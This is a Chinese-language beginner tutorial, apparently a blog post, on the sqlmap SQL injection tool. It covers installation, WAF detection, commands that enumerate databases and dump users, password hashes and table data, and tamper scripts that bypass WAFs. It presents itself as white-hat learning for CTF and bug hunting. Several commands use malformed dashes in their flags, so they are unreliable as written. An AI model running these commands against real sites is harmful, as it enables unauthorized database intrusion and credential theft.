SQLmap简单的使用——新手教程解析

你好哇!今天给大家介绍一款白帽子工具。他就是号称"数据库的克星"——SQLmap。

SQLmap解析

  • 学习须知:
  • 一、sqlmap的安装与操作?(window与linux)
    • 1.windows版
    • 2.linux版
  • 二、使用步骤
    • 1.简单的探测WAF
    • 2.初步学习的使用sqlmap命令
    • 3.简单的使用tamper脚本绕过WAF
    • 补充:宽字节注入:


学习须知:

在21世纪的网络空间中,各大互联网巨头通过各种数据库泄露情报的事件都屡见不鲜。我们如何才能很完美的保护我们的数据不被泄呢?这次解析将带你领悟数据库安全的知识海洋,让你明白数据库安全的重要性。让大家不再害怕。通过学习攻击技术,知道数据库的弱点,使我们自己搭建的网站走向正确的安全的道路。你可以学习到攻击者是如何盗走我数据库中的数据的?攻击者会根据不同的情况选择不同的的攻击方案的?应该怎么防止黑客出其不意地攻击的?你应该可以在本次解析中找到属于他们的答案。也可以通过这次的解析讲解,让你成为一个合格的"白帽子"。


提示:文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请您自负。

一、sqlmap的安装与操作?(window与linux)

1.windows版

首先:需要安装Python 2.7.18版的环境(个人建议下载到liunx虚拟机中)。原因是sqlmap是由python2版本写的,可能对自己电脑上的python3版本的pip库造成影响。


其次:找到sqlmap官网下载windows版本

最后:cmd命令:python sqlmap.py --后接命令 (注意与linux上的区别)

2.linux版

建议下载kali linux(因为kali自带sqlmp环境与工具);如果是ubantu(该系统自带2.7版本,但不带python3版本),则需要去sqlmap官网下载liunx版本。

最后:cmd命令:sqlmap --后接命令 (注意与windows上的区别)


二、使用步骤

1.简单的探测WAF

根据经验大部分网站都存在防火墙,所以我们可以所以sqlmap对Web网站进行WAF识别。方便我们使用不同的方式绕过不同种类的WAF鉴定基础。

代码如下图所示:

windows版本:
python sqlmap.py -u "https://www.baidu/" --identify-waf --batch
linux版本:
sqlmap -u "https://www.baidu/" --identify-waf --batch
--identify-waf(这个就是探测WAF的命令)

2.初步学习的使用sqlmap命令

代码如下所示:(都以kali liunx版为主,windows版注意一下语法变化)

1.sqlmap -u http://www.baidu –dbs -v 1 //获取所有数据库

2.sqlmap -u http://www.baidu -f -b –current-user –current-db -v 2  //获取当前用户的数据库版本

3.sqlmap -u http://www.baidu –is-dba -U 用户名 -v 3 //获取本数据库用户权限

4.sqlmap -u http://www.baidu –users –passwords -v 4 //获得所有数据库用户或指定数据库用户的密码

5.sqlmap -u http://www.baidu –tables -D mysql -v 5//获取指定数据库中的所有表

6.sqlmap -u http://www.baidu/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 6 //获取指定数据库中指定表中的指定字段的数据

7.sqlmap -u http://www.baidu –columns -D mysql -T users -v 7 //获得指定数据库中指定表中的字段

掌握这些就足以应付一些简单的漏洞挖掘和比赛了。


3.简单的使用tamper脚本绕过WAF

脚本有很多,这里取一些代表性的展示,如果有兴趣可以自己慢慢研究。

(a):通过加密sql语句达到绕过目的:

apostrophemask.py 脚本的作用是用引号加密utf-8绕过
equaltolike.py脚本的作用是用等号加密like饶过
base64encode.py脚本的作用是base64加密sql语句绕过

(b):通过替换sql语句中的符号饶过

脚本名:greatest.py的作用是绕过过滤’>’ ,并且用GREATEST替换大于号。
space2hash.py脚本的作用是空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py脚本的作用是绕过过滤双引号,替换字符和双引号。
space2morehash.py脚本的作用是空格替换为 #号 以及更多随机字符串 换行符

(c):使用unmagicquotes.py脚本对MySQL进行宽字节注入

eg:sqlmap.py -u “xxx?id=xx” --tamper unmagicquotes.py --dbs

补充:宽字节注入:

宽字节注入的原理是利用Mysql数据库的一个bug,即使用GBK编码时,系统会误以为两个字符是一个汉字。


# 总结 最后我想给大家分享一下我的看法,虽然作为新手来说,sqlmap的入门难点是:模块丰富,参数多样,英文说明。但是它的优点同样出众:脚本充足,自动化高,搭配灵活。所以我希望我的解析能对你们有所帮助。我相信你如果掌握sqlmap的使用方法后,一定可以在CTF比赛和漏洞挖掘更上一层楼。

更多推荐

SQLmap简单的使用——新手教程解析